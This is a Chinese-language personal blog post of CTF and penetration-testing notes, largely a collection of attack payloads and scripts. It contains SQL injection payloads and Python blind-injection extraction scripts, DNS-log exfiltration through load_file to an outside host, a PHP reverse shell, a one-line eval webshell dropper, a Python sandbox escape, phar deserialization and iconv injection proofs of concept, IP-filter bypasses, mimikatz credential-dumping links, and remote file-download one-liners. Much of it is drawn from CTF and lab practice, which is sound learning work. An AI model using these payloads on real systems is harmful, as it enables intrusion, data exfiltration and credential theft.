NEKO

知识点随笔记

2018/06/25

创建时间:2018-1-25

菜猫进化!->大菜猫(:з」∠)

文件包含

当base64被waf时可以使用其他过滤器,比如:

1
/?file=php://filter/read=string.rot13/resource=flag.php

sqli tricks

xss和sql注入的最大区别:
xss针对客户端的,sql注入是针对服务器的.

dic=string.ascii_letters+string.digits+string.punctuation.replace(‘.’,’’)

binary可区分大小写:
url = "http://120.24.86.145:9004/Once_More.php?id=1' and ((select binary flag2 from flag2) regexp '^{0}')%23".format(flag+i)

python里用%0a替换空格时没反应时试一下replace(‘ ‘,chr(0x0a))
group_concat(table_name separator ‘@’):用@分割结果

=号被过滤:like,regexp
空格被过滤:

1
^,/**/,%0a,%0b,%0c,%0d,%09,%a0,+

and和or被过滤:
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/*or*/
(4)利用符号 and=&& or=||

–加无效字符的url编码可以当做注释符

测试过滤内容的黑科技:
?id=1'^(0)^'将0换为length(‘union’)观察结果.

可能存在注入的点

  • 下载时有些页面通过传入的id号到数据库申请数据
  • PHPSESSID也能存在注入,xman有道题这么出的,回头看看源码怎么写的

库名

1
?gid=1' and neko()-- -

当前表名

1
2
?gid=1' and Polygon(id)-- -
?gid=1' and linestring(id)-- -

新套路:

1
2
3
4
5
6
7
mysql> select * from n3k0 procedure analyse();
+-------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+--------------------+
| Field_name | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std | Optimal_fieldtype |
+-------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+--------------------+
| neko_web1.n3k0.id | 1 | 1 | 1 | 1 | 0 | 0 | 1.0000 | 0.0000 | ENUM('1') NOT NULL |
+-------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+--------------------+
1 row in set (0.00 sec)

列名

字段数

1
2
3
?gid=1' order by 5-- -
?gid=1' group by 1,2,3,4,5,6,7,8-- -
?gid=1' limit 1,1 into @,@,@,@-- -

sqlmap获取webshell

http://www.freebuf.com/news/151634.html

文件注入

http://103.238.227.13:10088/index.php?id=1%0aand%0aextractvalue(1,concat(0x7e,(select%0aconcat(0x7e,substr((load_file(0x2F7661722F746573742F6B65795F312E706870)),86,149),0x7e)),0x7e))

dnslog

两个网站:
http://ceye.ioRCE还行,sql注入这方面一直不回显不知什么鬼.
http://dnsbin.zhack.ca这个可以用而且很快.

由于loadfile()函数可以用来发送dns解析请求
在sql盲注方面可以这样写payload(前提是loadfile()有权限读取):

1
127.0.0.1/sqli-labs-master/less-5/?id=1' and if((select load_file(concat('\\\\',(select database()),'.857b38d67c21139ff840.d.zhack.ca\\abc'))),1,0)-- -

order by注入时需要设置sleep(),否则无回显.

1
select username from neko_user order by if((select load_file(concat('\\\\',(select database()),'.353f59005049fe4693ab.d.zhack.ca\\abc'))),sleep(2),0);

平台接收回显即可.

报错注入

1
http://localhost/sqli-labs-master/Less-1/?id=0' union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a--+
1
http://localhost/sqli-labs-master/Less-1/?id=0' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
1
http://localhost/sqli-labs-master/Less-1/?id=0' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
1
2
http://localhost/sqli-labs-master/Less-1/?id=0' or (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
name_const使用范围有限,高于5.0.12,但又稍旧的版本,但如果不是这样,就会报Incorrect arguments to NAME_CONST,原因是限制了必须是常量,例如version()这个基本上安装后就是一个常量
1
2
http://localhost/sqli-labs-master/Less-1/?id=0' and exp(~(select*from(select database())x))--+
sql版本5.5.5以上
1
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b))
1
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b))
1
select * from test where id=1 and polygon((select * from(select * from(select user())a)b))

延时盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import string
dic=string.ascii_letters+string.digits+string.punctuation
flag=''
for j in range(1,100):
for i in dic:
#爆数据库
url1="http://10.10.10.157/sqlinjection/example7/?id=1 and (select case when (substring((select database())from %s for 1)='%s') then sleep(4) else 0 end)"%(j,i)
_url1="http://10.10.10.157/sqlinjection/example7/?id=1 and if(substr((select database()),%s,1)='%s',sleep(4),1)"%(j,i)

#爆表
url2="http://10.10.10.157/sqlinjection/example7/?id=1 and (select case when (substring((select(select(group_concat(table_name separator '@'))from(information_schema.tables)where(table_schema=database()))) from %s for 1)='%s') then sleep(4) else 0 end)"%(j,i)
_url2 = "http://10.10.10.157/sqlinjection/example7/?id=1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1)='%s',sleep(4),1)"%(j,i)

#爆列
url3 = "http://10.10.10.157/sqlinjection/example7/?id=1 and (select case when (substring((select(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))) from %s for 1)='%s') then sleep(4) else 0 end)" % (j, i)
_url3 = "http://10.10.10.157/sqlinjection/example7/?id=1 and if(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%s,1)='%s',sleep(4),1)" % ( j, i)

#爆内容
url4 = "http://10.10.10.157/sqlinjection/example7/?id=1 and (select case when (substring((select group_concat(password) from users) from %s for 1)='%s') then sleep(4) else 0 end)" % (j, i)
_url4 = "http://10.10.10.157/sqlinjection/example7/?id=1 and if(substr((select group_concat(password) from users),%s,1)='%s',sleep(4),1)" % (j, i)

try:
r=requests.get(url=_url4,timeout=3)
except:
flag+=i
print(flag)
break

regexp布尔盲注

也可以regexp ‘%s$’倒着匹配,不过strs=i+strs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import string
dic=string.ascii_letters+string.digits+'@,_?'
error_status='Should only return one user...'
flag=''
strs=''
for j in range(50):
for i in dic:
#爆数据库
url1="http://10.10.10.157/sqlinjection/example7/?id=1 and (select database() regexp '^%s')"%(strs+i)
#爆表
url2 = "http://10.10.10.157/sqlinjection/example7/?id=1 and ((select group_concat(table_name) from information_schema.tables where table_schema=database() LIMIT 1) regexp '^%s')" % (strs + i)
#爆列
url3 = "http://10.10.10.157/sqlinjection/example7/?id=1 and ((select group_concat(column_name separator '@') from information_schema.columns where table_name='users') regexp '^%s')" % (strs + i)
#爆内容
url4 = "http://10.10.10.157/sqlinjection/example7/?id=1 and ((select group_concat(password separator '@') from users) regexp '^%s')" % (strs + i)
r=requests.get(url=url4).text
if error_status not in r:
strs+=i
print(strs)
break

union盲注

http://wonderkun.cc/index.html/?p=547

利用http参数污染进行sqli

hpp:https://blog.csdn.net/eatmilkboy/article/details/6761407

1
show_user.aspx?id=5;select+1,2,3+from+users+where+id=1--

这个攻击因为在参数id里面存在明显的SQL注入的模板:select…from…而会被WAF成功拦截。但是如果换成HPP的方式:

1
show_user.aspx?id=5;select+1&id=2&id=3+from+users+where+id=1--

这时候没有任何参数具备select…from…的特征,可能就可以绕过WAF的拦截了。

asp中转注入

asp中,用Request.QueryString (GET) 或 Request.Form (POST)来接收参数,但如果写成ID=Request(“ID”),那么cookie中的数据也会被当做参数接收。如果此时的waf是针对get和post的,那么可以直接通过cookie注入.

cms

##thinkphp的一个指纹 #

1
/?c=4e5e5d7364f443e28fbf0d3ae744a59a

Drupal CVE-2018-7600

https://github.com/FireFart/CVE-2018-7600

PHP tricks

php在解析phar对象时,会对metadata数据进行反序列化

测试,需要将php.ini的phar.readonly设为OFF,不可以在代码中ini_set("phar.readonly", 0);,因为ini_set()不是所有的php.ini选项都能设置的.

注意php版本不能太高,php7.0.12版本一直报错,换了个php5.4.45就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class neko {
public $a = 'hello';
function __destruct() {
echo $this->a;
}
}

$p = new Phar('neko.phar', 0);
$p['file.txt'] = 'test';
$p->setStub('<?php __HALT_COMPILER(); ?>'); //设置归档文件的php加载程序
$p->setMetadata(new neko());

?>

先在本目录生成neko.phar
首先Phar::setMetadata操作是会将数据进行序列化的
可以用winhex清楚的看到neko.phar的内容:

运行下列代码:

1
2
3
4
5
6
7
8
9
10
<?php
class neko {
public $a = 'hello';c
function __destruct() {
echo $this->a;
}
}
@readfile("phar://./neko.phar");

?>

php解析phar对象时,对metadata数据进行反序列化,结果便输出neko.

php匿名函数的名称

apache单个进程中匿名函数的名字为\x00lambda_%d

php_screw解密

解密脚本
https://github.com/amor-tsai/php_screw
亲测php7可用,直接进tools,make,错误不要管

1
2
root@neko:~/ctf/php_screw-master/tools# ./screwd flag.php 
Success decode(flag.php)

绕过ip限制

1
2
3
4
5
6
7
8
9
* 使用@:http://A.com@10.10.10.10 = 10.10.10.10
* IP地址转换成十进制、八进制:127.0.0.1 = 2130706433
* 使用短地址:http://10.10.116.11 = http://t.cn/RwbLKDx
* 端口绕过:ip后面加一个端口
* xip.io:10.0.0.1.xip.io = 10.0.0.1
www.10.0.0.1.xip.io = 10.0.0.1
mysite.10.0.0.1.xip.io = 10.0.0.1
foo.bar.10.0.0.1.xip.io = 10.0.0.1
* 通过js跳转

php命令

获取当前文件所在目录:1.print_r(getcwd()); 2.print_r(dirname(__FILE__));
获取当前文件目录(包含本身文件名):print_r(__FILE__);
遍历当前目录的文件:1.print_r(scandir(getcwd())); 2.print_r(scandir(dirname(__FILE__))); 3.print_r(glob("*"))
遍历当前目录的前目录的文件:print_r(scandir(dirname(__FILE__) . "/../"));
打开文件:show_source('flag.php');
删除文件:unlink('neko.php');
是否存在变量:var_dump(getenv('neko'));
设置变量:putenv('neko=runa');

html

上传:

1
2
3
4
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file" />
<input type="submit" name="Submit!" value="Submit!" />
</form>

php反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$ip = 'xxx.xxx.xxx.xxx';
$port = 2333;

$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>

字符串转时间戳

1
2
3
<?php
echo strtotime('Mon, 05 Mar 2018 05:46:41 GMT');
?>

windows服务器php后缀名不区分大小写

如果服务器是windows的,则访问index.Php也是没有问题的,而且如果waf没有写在当前页面,则可直接绕过过滤进行注入什么的.

Python tricks

python沙盒逃逸trick

payload:https://www.jianshu.com/p/30ece4087a8a
18年全国赛上的一个python沙盒,过滤了ls导致func_globals无法使用,其实可以用getattribute绕过:

1
print ().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['popen'](命令)

解方程什么的交给sympy

1
2
3
4
from sympy import *
x = Symbol('x')
y = Symbol('y')
print solve([2 * x - y - 3, 3 * x + y - 7],[x, y])

pyc反编译

网站(https://tool.lu/pyc/)有时候反编译得不准,有错误
使用uncompyle2:https://github.com/wibiti/uncompyle2
python2环境,python setup.py install
使用方法:scripts文件夹里,python -u uncompyle2 a.pyc > a.py

linux tricks

vim恢复.index.php.swp

http://web.jarvisoj.com:32778/
访问http://web.jarvisoj.com:32778/index.php~的时候下载下来一个index.php_,kali的file命令看到是Vim swap file类型数据,将文件名改为.index.php.swp 然后kali里面这个文件就看不到了,要显示隐藏文件才能看到。
命令行:vim -r index.php

用echo列目录

ls被禁用后可以用echo列目录.

1
echo ./*

vim中创建shell

1
2
:set shell=/bin/bash
:shell

mount

挂载

1
2
mkdir test
mount file1 test

dig

1
dig @challenge01.root-me.org -p 54011 ch11.challenge01.root-me.org TXT

Commendinjection

命令注入后的一些操作

即cmd中的一些命令
打开文件:(type flag.txt) 如果在网页打开的是php文件,需在源代码里查看文件内容
遍历目录:dir
遍历任意目录: 1 | ((cd ..) && (dir))
命令连接符

1
2
3
command1 && command2   先执行command1后执行command2
command1 | command2 只执行command2
command1 & command2 先执行command2后执行command1

杂货

ip定位

https://met.red/h/tools/createMyUrl

0e开头的md5

QNKCDZO
240610708

burp的intruder的4个选项

http://blog.sina.com.cn/s/blog_e50a92810102w9l4.html

ida调用gdb远程调试

ubuntu下:

1
gdbserver --multi *:1234

ida那边配置下文件在unbuntu的路径和unbuntu的ip,端口即可
(动态调试是真的好用啊…)

恢复ext4系统镜像的文件

1
extundelete --restore-all catz.img

二维码优化


ps打开
图像->调整->色阶


aeskeyfind

一款从文件中寻找aes密钥的工具,linux中apt-get install aeskeyfind即可
使用方法:
aeskeyfind data.img
附上aes解密文件的网址:http://aes.online-domain-tools.com/

图像处理

bugku好多数值
http://123.206.31.85/files/38987b3bbbd3d5d61113400bffeccb03/misc100.txt

poc:

1
2
3
4
5
6
7
8
9
10
11
from PIL import Image
f=open('C:/Users/kuraraneko/Desktop/1.txt')
img=Image.new('RGB',(503,122),(0,0,0))
imgload=img.load()

for i in range(0,503):
for j,z in zip(range(122),f):
color=z.split(',')
imgload[i,j]=(int(color[0]),int(color[1]),int(color[2]))
f.close()
img.show()

base85

base85加密数据很像uuencode之类的编码,python3的base64库可解。

内存取整

使用volatility

1
2
3
4
5
6
7
volatility -f flag imageinfo //查看文件类型
volatility -f flag pslist --profile=WinXPSP2x86 //查看进程信息
volatility -f flag filescan | grep flag //查找文件名含有flag的文件
volatility -f flag dumpfiles -Q 0x0000000001609628 -D . //将标号为0x0000000001609628的文件保存到当前文件夹
volatility -f flag clipboard //查看剪切板信息

7z e ./file.None.0x8141d190.dat //解压7z压缩包

gnuplot

将像素点序列生成图片
序列格式:

命令:

SHA加密法的字元范围是[a-f]跟[0-9]

.DS_STORE解密

1
2
3
4
5
import ds_store
from ds_store import DSStore
with DSStore.open('.DS_Store','r+') as d:
for i in d:
print i

编码tricks

1

utf-8编码中的 \xE9\x8C\xA6 ҅转换为gbk即 \xE5\x5C ,\x5c即 \。
案例:

1
2
3
4
<?php
$data = '<?php echo ' . iconv('utf-8', 'gbk', var_export($_GET['data'], true)) . ';';
file_put_contents('log.php', $data);
?>

poc:

1
127.0.0.1/test.php?data=neko%e9%8c%a6%27;phpinfo();//

2

在iconv转码的过程中,utf->gb2312(其他部分编码之间转换同样存在这个问题)会导致字符串被截断.
$filename=”shell.php(hex).jpg”;(hex为0x80-0x99),经过iconv转码后会变成$filename=”shell.php “;
经测试php5.3,29可行,php5.4.45失败

zip

crc

http://123.206.31.85/files/80d06d1f2bffcc8940c00be6b8326b76/123.zip

python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import zipfile
import string
import binascii

path='C:/Users/kuraraneko/Desktop/123/'

def Crackcrc(crc):
for x1 in dic:
for x2 in dic:
for x3 in dic:
for x4 in dic:
s=(x1+x2+x3+x4).encode('utf-8')
if crc==(binascii.crc32(s)&0xffffffff):
f.write(s.decode())
print('yes')
return

dic=string.ascii_letters+string.digits+'+=/'
f=open('out.txt','w')
for i in range(68):
filename='out'+str(i)+'.zip'
print(path+filename)
zip=zipfile.ZipFile(path+filename,'r')
Getcrc=zip.getinfo('data.txt')
crc=Getcrc.CRC
Crackcrc(crc)

f.close()

解析漏洞

1
2
3
4
5
6
IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

在默认Fast-CGI开启状况下,上传一个名字为a.jpg,内容为
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件,然后访问a.jpg/.php,在这个目录下就会生成一句话木马 shell.php

web-learn

后门混淆和反检测技术:https://xz.aliyun.com/t/2472

cve/vul

mysql

Mysql身份认证漏洞及利用(CVE-2012-2122)
http://www.freebuf.com/vuls/3815.html

samba<4.64

Samba远程代码执行漏洞(CVE-2017-7494)
https://www.anquanke.com/post/id/86165

perl的洞

https://www.blackhat.com/docs/asia-16/materials/asia-16-Rubin-The-Perl-Jam-2-The-Camel-Strikes-Back.pdf

渗透工具

waf识别

1
2
wafw00f http://167.88.*.*/
python sqlmap.py -u "http://10.0.0.1/waf.php?id=1" --identify-waf -v 3

cms识别

1
2
3
http://whatweb.bugscaner.com/look/
http://www.yunsee.cn/
http://10.10.62.8/media/course/html/474/e66c2b1d-c2a1-458e-9b15-166543412eed.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$whatweb [-options] foo.com  #基本用法  
$whatweb -v foo.com #详细显示返回结果
$whatweb -l #查看支持的插件
$whatweb --info-plugins="plugins name" #查看插件详情
$whatweb -h #查看帮助

# 用法案例:
* 使用详细回显方式扫描a.com和b.org
./whatweb -v a.com b.org
* An aggressive scan of wired.com detects the exact version of WordPress.
./whatweb -a 3 www.wired.com
* 扫描本地网站无视错误
whatweb --no-errors 192.168.0.0/24
* 扫描本地https网站
whatweb --no-errors --url-prefix https:// 192.168.0.0/24

密码抓取

windows:

1
https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180205/mimikatz_trunk.zip

linux(root权限)

1
git clone https://github.com/huntergregal/mimipenguin

文件下载

windows

powershell

1
2
3
 $d = New-Object System.Net.WebClient
$d.DownloadFile("http://10.101.177.139/1.zip"
,"c:/users/administrator/desktop/1.zip")

certutil

1
certutil -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt

vbs

1
2
3
4
5
6
7
8
9
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://10.101.177.139/1.zip",0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile "c:\1.zip",2

linux

python

1
2
3
4
5
6
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://l10.101.177.139/1.zip')
localFile = open('/root/1.zip', 'w')
localFile.write(u.read())
localFile.close()

wget

1
wget http://l10.101.177.139/1.zip

curl

1
curl http://l10.101.177.139/1.zip

软件安装

gmpy2 for mac

1
2
3
4
brew install gmp
brew install mpfr
brew install libmpc
pip install gmpy2

原文作者: n3k0

发表日期: June 25th 2018, 1:06:33

发出嘶吼: 没有魔夜2玩我要死了

CATALOG
  1. 1. 文件包含
  2. 2. sqli tricks
    1. 2.1. 可能存在注入的点
    2. 2.2. 库名
    3. 2.3. 当前表名
    4. 2.4. 列名
    5. 2.5. 字段数
    6. 2.6. sqlmap获取webshell
    7. 2.7. 文件注入
    8. 2.8. dnslog
    9. 2.9. 报错注入
    10. 2.10. 延时盲注脚本
    11. 2.11. regexp布尔盲注
    12. 2.12. union盲注
    13. 2.13. 利用http参数污染进行sqli
    14. 2.14. asp中转注入
  3. 3. cms
    1. 3.1. Drupal CVE-2018-7600
  4. 4. PHP tricks
    1. 4.1. php在解析phar对象时,会对metadata数据进行反序列化
    2. 4.2. php匿名函数的名称
    3. 4.3. php_screw解密
    4. 4.4. 绕过ip限制
  5. 5. php命令
    1. 5.1. html
    2. 5.2. php反弹shell
    3. 5.3. 字符串转时间戳
    4. 5.4. windows服务器php后缀名不区分大小写
  6. 6. Python tricks
    1. 6.1. python沙盒逃逸trick
    2. 6.2. 解方程什么的交给sympy
    3. 6.3. pyc反编译
  7. 7. linux tricks
    1. 7.1. vim恢复.index.php.swp
    2. 7.2. 用echo列目录
    3. 7.3. vim中创建shell
    4. 7.4. mount
    5. 7.5. dig
  8. 8. Commendinjection
    1. 8.1. 命令注入后的一些操作
  9. 9. 杂货
    1. 9.1. ip定位
    2. 9.2. 0e开头的md5
    3. 9.3. burp的intruder的4个选项
    4. 9.4. ida调用gdb远程调试
    5. 9.5. 恢复ext4系统镜像的文件
    6. 9.6. 二维码优化
  10. 10. aeskeyfind
    1. 10.1. 图像处理
    2. 10.2. base85
    3. 10.3. 内存取整
    4. 10.4. gnuplot
    5. 10.5. SHA加密法的字元范围是[a-f]跟[0-9]
    6. 10.6. .DS_STORE解密
  11. 11. 编码tricks
    1. 11.1. 1
    2. 11.2. 2
  12. 12. zip
    1. 12.1. crc
  13. 13. 解析漏洞
  14. 14. web-learn
  15. 15. cve/vul
    1. 15.1. mysql
    2. 15.2. samba<4.64
    3. 15.3. perl的洞
  16. 16. 渗透工具
  17. 17. waf识别
  18. 18. cms识别
  19. 19. 密码抓取
  20. 20. 文件下载
    1. 20.1. windows
    2. 20.2. linux
  21. 21. 软件安装
    1. 21.1. gmpy2 for mac